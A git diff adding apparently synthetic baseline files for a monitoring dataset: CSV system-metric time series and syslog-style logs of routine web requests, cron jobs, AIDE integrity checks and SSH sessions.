+2025-08-23T10:06:25Z,14.52,42.07,20.78,0.84,1.17,49.56 +2025-08-23T10:06:30Z,19.93,39.53,40.38,0.83,1.26,57.96 +2025-08-23T10:06:35Z,17.2,48.14,40.15,1.11,0.87,43.76 +2025-08-23T10:06:40Z,19.19,42.45,27.35,1.26,1.0,44.55 +2025-08-23T10:06:45Z,12.94,46.66,29.79,0.99,0.78,67.51 +2025-08-23T10:06:50Z,15.74,47.85,31.2,1.09,0.6,29.52 +2025-08-23T10:06:55Z,17.16,44.37,32.69,1.05,1.19,67.06 +2025-08-23T10:07:00Z,18.87,48.86,33.63,1.08,1.0,59.34 +2025-08-23T10:07:05Z,14.05,46.16,24.6,1.1,0.82,43.0 +2025-08-23T10:07:10Z,17.04,43.44,31.68,0.95,1.08,60.97 +2025-08-23T10:07:15Z,18.6,38.28,28.83,1.22,1.05,63.72 +2025-08-23T10:07:20Z,14.4,41.9,37.84,1.05,0.77,49.14 +2025-08-23T10:07:25Z,14.47,47.8,26.75,1.13,0.95,55.01 diff --git a/norm_dataset/scenario_15/norm_15_9.log b/norm_dataset/scenario_15/norm_15_9.log new file mode 100644 index 0000000000000000000000000000000000000000..209d6aaec1c4154d3d9930235020122ca528979b --- /dev/null +++ b/norm_dataset/scenario_15/norm_15_9.log @@ -0,0 +1,24 @@ +Aug 23 10:00:00 web-app[2345]: GET /api/v1/user/12 status=200 OK +Aug 23 10:00:50 systemd[1]: Starting daily clean up activities... +Aug 23 10:00:55 web-app[2345]: GET /api/v1/user/12 status=200 OK +Aug 23 10:01:00 web-app[2345]: GET /api/v1/user/12 status=200 OK +Aug 23 10:01:05 web-app[2345]: GET /api/v1/user/12 status=200 OK +Aug 23 10:01:10 web-app[2345]: GET /api/v1/user/12 status=200 OK +Aug 23 10:01:40 HikariPool-1[3121]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:45 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:01:50 HikariPool-1[3121]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:01:55 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:02:00 HikariPool-1[3121]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:05 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:02:10 HikariPool-1[3121]: DEBUG: Pool 'HikariPool-1' - Adding new connection. +Aug 23 10:02:15 web-app[2345]: GET /api/v1/products status=200 OK +Aug 23 10:03:45 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:04:30 web-app[2345]: GET /api/v1/user/11 status=200 OK +Aug 23 10:05:10 web-app[2345]: GET /api/v1/user/34 status=200 OK +Aug 23 10:06:05 web-app[2345]: GET /api/v1/user/32 status=200 OK +Aug 23 10:06:40 systemd[1]: Finished daily clean up activities. +Aug 23 10:06:45 web-app[2345]: GET /api/v1/user/38 status=200 OK +Aug 23 10:07:05 web-app[2345]: GET /api/v1/user/21 status=200 OK +Aug 23 10:07:10 web-app[2345]: GET /api/v1/user/23 status=200 OK +Aug 23 10:07:20 web-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 23 10:07:25 web-app[2345]: GET /api/v1/user/18 status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_1.csv b/norm_dataset/scenario_16/norm_16_1.csv new file mode 100644 index 0000000000000000000000000000000000000000..0cb57fef9d7a408d31558a36976133c67f02a2f6 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_1.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-05T10:00:00Z,19.930710629897327,41.6646217179559,29.746083679227603,0.9451065732327855,0.9866810071240479 +2025-08-05T10:00:05Z,19.084610739115128,39.57051682112046,29.998954834695983,0.6579241841038074,1.2189984519292087 +2025-08-05T10:00:10Z,19.180059968491413,38.958294137250725,22.45951836100666,0.5481840562765739,1.3718607545919583 +2025-08-05T10:00:15Z,19.464444577368894,42.355243797077016,27.47641611866111,0.7484631787074005,0.5105833980915582 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web-app[1452]: GET /api/v1/status status=200 OK +Aug 05 10:01:00 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 05 10:01:40 web-app[1452]: GET /api/v1/user/99 status=200 OK +Aug 05 10:02:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 05 10:02:25 systemd[1]: Finished daily apt upgrade and clean activities. +Aug 05 10:02:30 CRON[8851]: (root) CMD (aide --check) +Aug 05 10:02:35 aide[8852]: INFO: AIDE integrity check started. +Aug 05 10:02:40 aide[8852]: INFO: Database configuration read. +Aug 05 10:03:10 web-app[1452]: GET /api/v1/status status=200 OK +Aug 05 10:03:45 aide[8852]: INFO: Checking file: /bin/bash +Aug 05 10:04:10 aide[8852]: INFO: Checking file: /etc/passwd +Aug 05 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 05 10:04:50 aide[8852]: INFO: All 15450 files match the baseline. +Aug 05 10:04:55 aide[8852]: INFO: Scan finished successfully. +Aug 05 10:05:00 CRON[8851]: INFO: AIDE integrity check completed. +Aug 05 10:05:25 web-app[1452]: GET /api/v1/user/101 status=200 OK +Aug 05 10:06:00 systemd[1]: Starting session-c2.scope. +Aug 05 10:06:40 web-app[1452]: GET /api/v1/status status=200 OK +Aug 05 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 05 10:07:25 systemd[1]: session-c2.scope: Succeeded. \ No newline at end of file diff --git a/norm_dataset/scenario_16/norm_16_10.csv b/norm_dataset/scenario_16/norm_16_10.csv new file mode 100644 index 0000000000000000000000000000000000000000..3a434edd81799acf312fd4dd7f753c9d7c043cf0 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_10.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:00:00Z,5.53,37.72,15.84,0.75,0.98 +2025-07-15T14:00:05Z,11.87,35.74,12.92,1.25,0.93 +2025-07-15T14:00:10Z,7.49,35.84,17.04,1.4,1.13 +2025-07-15T14:00:15Z,13.4,41.33,19.78,1.26,0.78 +2025-07-15T14:00:20Z,11.82,43.22,15.55,0.94,0.88 +2025-07-15T14:00:25Z,14.71,37.54,14.08,1.05,1.22 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+2025-07-15T14:07:00Z,6.74,42.9,16.54,0.54,0.79 +2025-07-15T14:07:05Z,7.71,44.14,16.82,0.5,0.79 +2025-07-15T14:07:10Z,8.17,43.63,13.44,1.22,1.0 +2025-07-15T14:07:15Z,11.09,40.34,11.3,1.21,0.9 +2025-07-15T14:07:20Z,6.34,44.67,24.66,1.08,1.41 +2025-07-15T14:07:25Z,5.55,41.44,10.31,0.79,0.58 diff --git a/norm_dataset/scenario_16/norm_16_10.log b/norm_dataset/scenario_16/norm_16_10.log new file mode 100644 index 0000000000000000000000000000000000000000..e682747ea4a8f5b18487a6a29cf6d17297f180f9 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_10.log @@ -0,0 +1,18 @@ +Jul 15 14:00:25 systemd[1]: Starting daily clean up activities... +Jul 15 14:00:50 web-app[1357]: GET /api/v1/health status=200 OK +Jul 15 14:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 15 14:02:05 web-app[1357]: GET /api/v1/health status=200 OK +Jul 15 14:02:30 CRON[6123]: (root) CMD (aide --check) +Jul 15 14:02:30 aide[6124]: INFO: Starting AIDE integrity check... +Jul 15 14:02:35 aide[6124]: INFO: Scan started. +Jul 15 14:02:55 systemd[1]: Starting session-c2.scope. +Jul 15 14:03:20 web-app[1357]: GET /api/v1/health status=200 OK +Jul 15 14:03:45 aide[6124]: DEBUG: Reading file /usr/bin/docker +Jul 15 14:04:10 aide[6124]: DEBUG: Reading file /etc/nginx/nginx.conf +Jul 15 14:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 15 14:04:55 aide[6124]: INFO: All files match the baseline. +Jul 15 14:05:00 aide[6124]: INFO: Scan finished. +Jul 15 14:05:25 web-app[1357]: GET /api/v1/health status=200 OK +Jul 15 14:06:00 systemd[1]: session-c2.scope: Succeeded. +Jul 15 14:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-xyz +Jul 15 14:07:05 CRON[7531]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_16/norm_16_11.csv b/norm_dataset/scenario_16/norm_16_11.csv new file mode 100644 index 0000000000000000000000000000000000000000..dcf9b6a52a84279fa53eee4d23ef09a6ea2ba1fb --- /dev/null +++ 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+2025-07-21T10:07:15Z,16.087773185842757,45.34355477067358,21.738363351738098,1.2990773827651634,0.9409968547182244 +2025-07-21T10:07:20Z,11.342393498968912,49.67305131910928,39.545640793403955,1.204729311253006,1.2475499732637991 +2025-07-21T10:07:25Z,10.54798396185303,46.438778336283235,20.407078560280855,1.004490469149325,0.7507731440584993 diff --git a/norm_dataset/scenario_16/norm_16_11.log b/norm_dataset/scenario_16/norm_16_11.log new file mode 100644 index 0000000000000000000000000000000000000000..9bcf59859534a3d2140a0f357f63436b0d7a94b7 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_11.log @@ -0,0 +1,20 @@ +Jul 21 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 21 10:00:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 21 10:00:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 21 10:01:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 21 10:01:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 21 10:02:00 CRON[6123]: (root) CMD (aide --check) +Jul 21 10:02:01 aide[6124]: INFO: Starting AIDE integrity check... +Jul 21 10:02:02 aide[6124]: INFO: Scan started. +Jul 21 10:02:30 systemd[1]: Starting session-c2.scope. +Jul 21 10:03:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 21 10:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 21 10:04:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 21 10:04:30 web-app[1234]: GET /api/v1/user/15 status=200 OK +Jul 21 10:05:00 aide[6124]: INFO: All files match the baseline. +Jul 21 10:05:01 aide[6124]: INFO: Scan finished. +Jul 21 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 21 10:06:00 systemd[1]: session-c2.scope: Succeeded. +Jul 21 10:06:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 21 10:07:00 CRON[7001]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 21 10:07:25 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_12.csv b/norm_dataset/scenario_16/norm_16_12.csv new file mode 100644 index 0000000000000000000000000000000000000000..7724281d7250459848fe9743ad299d85c7ca01b2 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_12.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,10.53,46.87,18.73,1.14,1.07 +2025-08-19T10:00:05Z,19.71,44.39,24.55,0.95,1.15 +2025-08-19T10:00:10Z,15.38,45.58,22.62,0.85,1.08 +2025-08-19T10:00:15Z,10.91,46.33,18.62,1.11,0.88 +2025-08-19T10:00:20Z,11.37,45.68,25.87,0.92,1.18 +2025-08-19T10:00:25Z,12.51,40.12,26.54,1.17,0.99 +2025-08-19T10:00:30Z,16.46,47.44,16.34,0.98,0.92 +2025-08-19T10:00:35Z,19.54,40.11,29.31,1.0,1.1 +2025-08-19T10:00:40Z,10.52,46.04,24.0,0.82,0.9 +2025-08-19T10:00:45Z,13.35,40.7,26.48,1.15,1.0 +2025-08-19T10:00:50Z,16.25,44.86,18.59,0.98,0.95 +2025-08-19T10:00:55Z,15.34,47.58,15.96,1.02,0.83 +2025-08-19T10:01:00Z,11.23,48.02,27.21,1.19,1.0 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0000000000000000000000000000000000000000..ee4924e69c0245e68734f7c3260878f3f3e31e51 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_12.log @@ -0,0 +1,16 @@ +Aug 19 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:25 web-app[1456]: GET /api/v1/health status=200 OK +Aug 19 10:01:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7bdf +Aug 19 10:01:30 web-app[1456]: GET /api/v1/metrics status=200 OK +Aug 19 10:02:00 CRON[6789]: (root) CMD (aide --check) +Aug 19 10:02:00 aide[6790]: INFO: AIDE integrity check started. +Aug 19 10:02:00 aide[6790]: INFO: Database configuration: /var/lib/aide/aide.db.gz +Aug 19 10:03:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7bdf +Aug 19 10:04:10 web-app[1456]: GET /api/v1/user/45 status=200 OK +Aug 19 10:05:00 systemd[1]: Starting session-c2.scope. +Aug 19 10:06:05 aide[6790]: INFO: Scanned 15370 files and directories. +Aug 19 10:06:05 aide[6790]: INFO: All files match the baseline. +Aug 19 10:06:05 aide[6790]: INFO: AIDE integrity check finished. +Aug 19 10:06:30 web-app[1456]: GET /api/v1/health status=200 OK +Aug 19 10:07:00 CRON[7123]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:07:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-7bdf diff --git a/norm_dataset/scenario_16/norm_16_13.csv b/norm_dataset/scenario_16/norm_16_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..683473d9b672f6c7b8b1e6416e57ffd009548ed5 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,15.42,39.32,1.0,1.2,0.65 +2025-07-03T10:00:05Z,14.0,40.84,16.29,1.5,1.0 +2025-07-03T10:00:10Z,16.98,41.36,4.6,1.1,0.81 +2025-07-03T10:00:15Z,13.53,37.49,14.01,1.28,1.12 +2025-07-03T10:00:20Z,21.01,42.19,1.32,0.69,0.59 +2025-07-03T10:00:25Z,12.32,39.49,13.12,1.19,0.59 +2025-07-03T10:00:30Z,17.71,40.51,10.23,0.79,0.4 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+2025-07-03T10:05:35Z,15.61,39.24,13.3,0.99,0.4 +2025-07-03T10:05:40Z,13.14,38.67,18.59,1.24,0.83 +2025-07-03T10:05:45Z,14.41,37.41,14.53,0.59,0.86 +2025-07-03T10:05:50Z,13.36,40.13,17.64,0.59,0.57 +2025-07-03T10:05:55Z,12.67,38.44,6.81,0.88,0.75 +2025-07-03T10:06:00Z,17.84,40.22,14.06,0.74,0.86 +2025-07-03T10:06:05Z,10.23,37.38,13.79,1.13,0.93 +2025-07-03T10:06:10Z,14.03,40.78,8.97,0.88,0.69 +2025-07-03T10:06:15Z,14.48,36.54,14.93,1.5,0.78 +2025-07-03T10:06:20Z,15.67,36.3,11.8,1.07,0.58 +2025-07-03T10:06:25Z,12.89,40.49,13.81,0.9,0.82 +2025-07-03T10:06:30Z,13.33,40.59,8.6,1.07,0.69 +2025-07-03T10:06:35Z,17.18,36.99,4.54,0.81,0.76 +2025-07-03T10:06:40Z,16.25,38.76,14.85,1.19,0.89 +2025-07-03T10:06:45Z,19.48,39.22,9.71,0.83,0.42 +2025-07-03T10:06:50Z,19.77,36.8,1.0,0.9,0.8 +2025-07-03T10:06:55Z,13.3,38.43,12.95,0.8,0.99 +2025-07-03T10:07:00Z,14.0,37.62,19.93,1.13,1.04 +2025-07-03T10:07:05Z,21.07,41.13,7.07,0.9,0.83 +2025-07-03T10:07:10Z,13.46,38.64,5.39,0.91,0.59 +2025-07-03T10:07:15Z,16.23,39.7,1.0,0.84,0.54 +2025-07-03T10:07:20Z,12.17,38.92,12.13,0.87,0.74 +2025-07-03T10:07:25Z,14.43,39.8,8.9,0.78,0.96 diff --git a/norm_dataset/scenario_16/norm_16_13.log b/norm_dataset/scenario_16/norm_16_13.log new file mode 100644 index 0000000000000000000000000000000000000000..eb686929ecd3e9fb031cba938850a4d527e9f44d --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_13.log @@ -0,0 +1,20 @@ +Jul 03 10:00:25 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:50 sshd[3456]: Accepted publickey for user admin from 192.168.1.10 port 22 ssh2: RSA SHA256:... +Jul 03 10:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:00 CRON[6789]: (root) CMD (/usr/sbin/aide --check) +Jul 03 10:02:01 aide[6790]: INFO: Starting AIDE integrity check... +Jul 03 10:02:02 aide[6790]: INFO: Scan started. +Jul 03 10:02:30 aide[6790]: INFO: Processing file: /etc/passwd +Jul 03 10:03:00 aide[6790]: INFO: Processing file: /bin/ls +Jul 03 10:03:30 aide[6790]: INFO: Processing file: /var/log/syslog +Jul 03 10:04:00 aide[6790]: INFO: Processing file: /usr/lib/x86_64-linux-gnu/libselinux.so.1 +Jul 03 10:04:30 aide[6790]: INFO: Processing file: /boot/vmlinuz-5.15.0-48-generic +Jul 03 10:04:55 aide[6790]: INFO: All files match the baseline. +Jul 03 10:04:56 aide[6790]: INFO: Scan finished. +Jul 03 10:04:57 CRON[6789]: (root) CMD (/usr/sbin/aide --check) execution completed +Jul 03 10:05:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 03 10:05:50 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:15 sshd[3510]: Disconnected from user admin 192.168.1.10 port 22 +Jul 03 10:06:40 kernel: [12345.6789] TCP: request_sock_TCP: Possible SYN flooding on port 443. Sending cookies. +Jul 03 10:07:05 web-app[1234]: GET /api/v1/user/42 status=200 OK diff --git a/norm_dataset/scenario_16/norm_16_14.csv b/norm_dataset/scenario_16/norm_16_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..ac93e8997dc98c43e0ff6f71c70d32e455d63621 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T14:00:00Z,18.87,42.03,12.82,0.86,0.64 +2025-08-19T14:00:05Z,11.35,36.46,12.77,1.33,1.5 +2025-08-19T14:00:10Z,11.62,42.62,9.03,1.13,1.2 +2025-08-19T14:00:15Z,15.08,42.05,11.92,1.19,0.64 +2025-08-19T14:00:20Z,17.25,37.3,11.58,1.11,0.73 +2025-08-19T14:00:25Z,13.89,41.27,8.94,1.37,1.47 +2025-08-19T14:00:30Z,16.32,42.06,14.48,0.51,0.74 +2025-08-19T14:00:35Z,19.3,35.51,12.38,1.36,1.29 +2025-08-19T14:00:40Z,13.4,42.76,13.03,1.33,1.15 +2025-08-19T14:00:45Z,11.59,42.32,5.03,1.27,1.27 +2025-08-19T14:00:50Z,16.79,44.47,9.22,1.16,1.22 +2025-08-19T14:00:55Z,13.97,35.76,13.56,1.15,0.61 +2025-08-19T14:01:00Z,14.93,37.39,8.48,0.79,1.13 +2025-08-19T14:01:05Z,13.62,43.12,13.45,0.81,1.0 +2025-08-19T14:01:10Z,19.13,43.9,6.28,0.8,1.1 +2025-08-19T14:01:15Z,17.42,37.64,11.64,0.71,0.92 +2025-08-19T14:01:20Z,14.79,35.51,6.34,1.27,1.22 +2025-08-19T14:01:25Z,15.7,37.68,11.15,1.32,1.03 +2025-08-19T14:01:30Z,16.37,35.83,11.21,1.2,1.36 +2025-08-19T14:01:35Z,18.09,40.15,5.32,0.87,1.48 +2025-08-19T14:01:40Z,14.43,41.16,8.56,0.78,1.47 +2025-08-19T14:01:45Z,15.55,42.88,11.01,1.3,0.98 +2025-08-19T14:01:50Z,15.88,44.16,11.12,0.91,1.02 +2025-08-19T14:01:55Z,18.01,43.57,7.9,0.82,1.31 +2025-08-19T14:02:00Z,13.68,38.96,7.75,1.16,0.77 +2025-08-19T14:02:05Z,15.16,37.59,9.23,1.05,1.0 +2025-08-19T14:02:10Z,18.57,43.71,11.4,1.05,1.1 +2025-08-19T14:02:15Z,16.58,41.2,9.03,0.51,1.37 +2025-08-19T14:02:20Z,17.83,35.14,7.01,1.25,1.17 +2025-08-19T14:02:25Z,16.73,38.37,9.34,0.51,0.83 +2025-08-19T14:02:30Z,30.83,44.24,60.61,0.87,0.81 +2025-08-19T14:02:35Z,40.67,50.8,87.31,0.65,0.92 +2025-08-19T14:02:40Z,55.21,46.6,118.47,1.34,0.5 +2025-08-19T14:02:45Z,68.87,46.26,172.16,1.04,0.92 +2025-08-19T14:02:50Z,75.12,42.54,194.95,0.56,0.75 +2025-08-19T14:02:55Z,78.48,53.75,221.89,1.29,0.55 +2025-08-19T14:03:00Z,79.08,51.77,222.75,0.65,0.83 +2025-08-19T14:03:05Z,91.8,44.63,219.07,0.84,0.76 +2025-08-19T14:03:10Z,81.15,49.68,234.58,1.45,0.66 +2025-08-19T14:03:15Z,85.77,44.93,227.12,0.81,0.87 +2025-08-19T14:03:20Z,80.68,47.34,230.13,1.2,0.8 +2025-08-19T14:03:25Z,85.39,49.7,211.51,0.52,0.98 +2025-08-19T14:03:30Z,85.45,50.83,195.68,0.72,0.91 +2025-08-19T14:03:35Z,92.74,43.51,231.37,0.64,0.55 +2025-08-19T14:03:40Z,86.2,45.12,189.85,0.86,0.83 +2025-08-19T14:03:45Z,75.84,48.86,233.43,0.92,0.63 +2025-08-19T14:03:50Z,76.92,42.4,220.9,1.25,1.21 +2025-08-19T14:03:55Z,79.07,47.27,245.1,1.28,1.14 +2025-08-19T14:04:00Z,94.15,53.95,209.69,0.87,1.44 +2025-08-19T14:04:05Z,76.43,51.79,240.16,1.47,0.6 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+2025-08-19T14:05:50Z,14.59,35.01,10.8,1.41,0.91 +2025-08-19T14:05:55Z,18.94,43.1,6.5,0.58,0.7 +2025-08-19T14:06:00Z,10.28,43.97,12.22,1.08,0.99 +2025-08-19T14:06:05Z,13.25,36.73,8.97,1.23,1.24 +2025-08-19T14:06:10Z,17.93,38.47,9.43,0.62,1.21 +2025-08-19T14:06:15Z,12.18,36.55,11.28,1.25,0.76 +2025-08-19T14:06:20Z,19.23,41.51,7.88,0.81,0.95 +2025-08-19T14:06:25Z,10.15,38.7,10.38,0.74,0.78 +2025-08-19T14:06:30Z,15.73,35.47,6.49,1.25,1.43 +2025-08-19T14:06:35Z,14.23,37.9,7.25,0.58,0.99 +2025-08-19T14:06:40Z,16.21,40.95,9.39,1.15,0.51 +2025-08-19T14:06:45Z,10.81,40.64,9.71,0.99,0.85 +2025-08-19T14:06:50Z,14.35,44.52,9.28,0.54,0.68 +2025-08-19T14:06:55Z,15.55,40.51,14.17,1.23,0.73 +2025-08-19T14:07:00Z,11.51,38.25,14.5,0.56,1.2 +2025-08-19T14:07:05Z,15.44,38.98,13.26,0.79,1.32 +2025-08-19T14:07:10Z,19.4,42.91,8.43,0.71,0.94 +2025-08-19T14:07:15Z,16.23,36.89,7.37,0.72,0.65 +2025-08-19T14:07:20Z,15.52,44.31,14.75,0.93,1.39 +2025-08-19T14:07:25Z,16.77,40.04,14.23,0.68,1.07 diff --git a/norm_dataset/scenario_16/norm_16_14.log b/norm_dataset/scenario_16/norm_16_14.log new file mode 100644 index 0000000000000000000000000000000000000000..214924f89efd77b251fe383fc0891a022c83b82d --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_14.log @@ -0,0 +1,17 @@ +Aug 19 14:00:10 systemd[1]: Starting daily clean up activities... +Aug 19 14:00:45 sshd[3456]: Accepted publickey for user root from 192.168.1.10 port 22 ssh2: RSA SHA256:... +Aug 19 14:01:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 14:02:00 systemd[1]: Started Session 2 of user root. +Aug 19 14:02:29 CRON[5123]: (root) CMD (aide --check) +Aug 19 14:02:32 aide[5124]: INFO: AIDE integrity check started. +Aug 19 14:02:33 aide[5124]: INFO: Baseline database: /var/lib/aide/aide.db.gz +Aug 19 14:03:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-prod +Aug 19 14:03:35 aide[5124]: DEBUG: Checking file: /etc/passwd +Aug 19 14:04:00 aide[5124]: DEBUG: Checking file: /usr/bin/curl +Aug 19 14:04:35 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 19 14:04:55 aide[5124]: DEBUG: Checking file: /var/log/syslog +Aug 19 14:05:01 aide[5124]: INFO: All files match the baseline. +Aug 19 14:05:02 aide[5124]: INFO: AIDE integrity check finished successfully. +Aug 19 14:05:20 CRON[5123]: (CRON) info (No MTA installed, discarding output) +Aug 19 14:05:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 19 14:06:30 sshd[3456]: Received disconnect from 192.168.1.10 port 22:11: disconnected by user diff --git a/norm_dataset/scenario_16/norm_16_15.csv b/norm_dataset/scenario_16/norm_16_15.csv new file mode 100644 index 0000000000000000000000000000000000000000..e0f3b84417b7a8c25400f28c9f5458561e83479d --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_15.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-19T10:00:00Z,13.75,36.2,20.12,1.31,0.89 +2025-08-19T10:00:05Z,19.51,42.13,16.7,1.31,1.14 +2025-08-19T10:00:10Z,17.32,42.61,28.87,1.37,0.96 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+2025-08-19T10:06:50Z,13.31,40.12,17.1,1.16,0.87 +2025-08-19T10:06:55Z,10.64,37.26,22.77,0.66,0.87 +2025-08-19T10:07:00Z,13.11,41.45,28.16,0.57,1.31 +2025-08-19T10:07:05Z,13.25,36.74,26.11,1.14,1.45 +2025-08-19T10:07:10Z,17.3,41.91,25.46,0.53,1.49 +2025-08-19T10:07:15Z,16.38,38.87,25.54,1.09,1.25 +2025-08-19T10:07:20Z,18.87,44.37,20.39,1.44,0.88 +2025-08-19T10:07:25Z,14.72,36.38,19.4,1.08,0.58 diff --git a/norm_dataset/scenario_16/norm_16_15.log b/norm_dataset/scenario_16/norm_16_15.log new file mode 100644 index 0000000000000000000000000000000000000000..6c48c1c911b5ad911a39608b88349df047f1b683 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_15.log @@ -0,0 +1,17 @@ +Aug 19 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 19 10:00:45 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 19 10:02:05 kernel: [12345.678] usb 1-1: new high-speed USB device number 3 using xhci_hcd +Aug 19 10:02:50 web-app[3456]: GET /api/v1/metrics status=200 OK +Aug 19 10:03:00 CRON[7112]: (root) CMD (/usr/sbin/aide --check) +Aug 19 10:03:01 aide[7113]: INFO: Starting AIDE integrity check... +Aug 19 10:03:03 aide[7113]: INFO: Scan started. +Aug 19 10:03:30 systemd[1]: Started Session 123 of user root. +Aug 19 10:04:10 kernel: [12435.123] random: crng init done +Aug 19 10:04:45 web-app[3456]: GET /api/v1/user/99 status=200 OK +Aug 19 10:05:15 sshd[8012]: Accepted publickey for user from 192.168.1.10 port 22 +Aug 19 10:05:28 aide[7113]: INFO: All files match the baseline. +Aug 19 10:05:30 aide[7113]: INFO: Scan finished. +Aug 19 10:06:15 web-app[3456]: GET /api/v1/health status=200 OK +Aug 19 10:06:40 systemd[1]: Starting daily apt upgrade and clean activities... +Aug 19 10:07:25 CRON[8234]: (root) CMD ( unattended-upgrade ) diff --git a/norm_dataset/scenario_16/norm_16_16.csv b/norm_dataset/scenario_16/norm_16_16.csv new file mode 100644 index 0000000000000000000000000000000000000000..4d17bc998138071ad5187f06eb49016eebdb3724 --- /dev/null +++ b/norm_dataset/scenario_16/norm_16_16.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-12T10:00:00Z,15.043732628778624,41.39435162029171,28.58741196111706,1.0518766622911344,0.8511535133621714 +2025-08-12T10:00:05Z,11.854906805624136,42.581327477841455,36.487116396867336,0.7871202742434293,0.7245248299281241 +2025-08-12T10:00:10Z,11.468905788373428,40.08997717048407,29.34934477236512,1.1381046623878235,0.9311197647949956 +2025-08-12T10:00:15Z,15.56389872727447,40.36440657429274,40.54627684777434,1.305557150664696,0.7282520232060389 +2025-08-12T10:00:20Z,14.454161961327118,39.31371921251526,25.735688517318707,0.9928745832791925,0.7875195939882377 +2025-08-12T10:00:25Z,15.709240552745761,42.456037535397535,27.22253812141422,0.942637348012939,0.7191390070799715 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/api/v1/user/42 status=200 OK +Aug 12 10:00:40 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 12 10:01:00 CRON[7890]: (root) CMD (/usr/bin/aide --check) +Aug 12 10:01:05 aide[7891]: INFO: Starting AIDE integrity check... +Aug 12 10:01:10 aide[7891]: INFO: Scan started. +Aug 12 10:01:50 web-app[1234]: GET /api/v1/status status=200 OK +Aug 12 10:02:15 sshd[8012]: Accepted publickey for user admin from 192.168.1.10 port 22 +Aug 12 10:02:40 systemd[1]: Starting session c2 of user admin. +Aug 12 10:03:05 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 12 10:03:50 aide[7891]: INFO: All files match the baseline. +Aug 12 10:03:55 aide[7891]: INFO: Scan finished. +Aug 12 10:04:25 web-app[1234]: GET /api/v1/user/101 status=200 OK +Aug 12 10:04:50 systemd[1]: Daily apt upgrade and clean activities finished. +Aug 12 10:05:40 CRON[9876]: (root) CMD (logrotate /etc/logrotate.conf) +Aug 12 10:07:05 web-app[1234]: POST /api/v1/login status=200 OK +Aug 12 10:07:20 sshd[8050]: Received disconnect from 192.168.1.10 port 22:11: disconnected by user diff --git a/norm_dataset/scenario_16/norm_16_17.csv 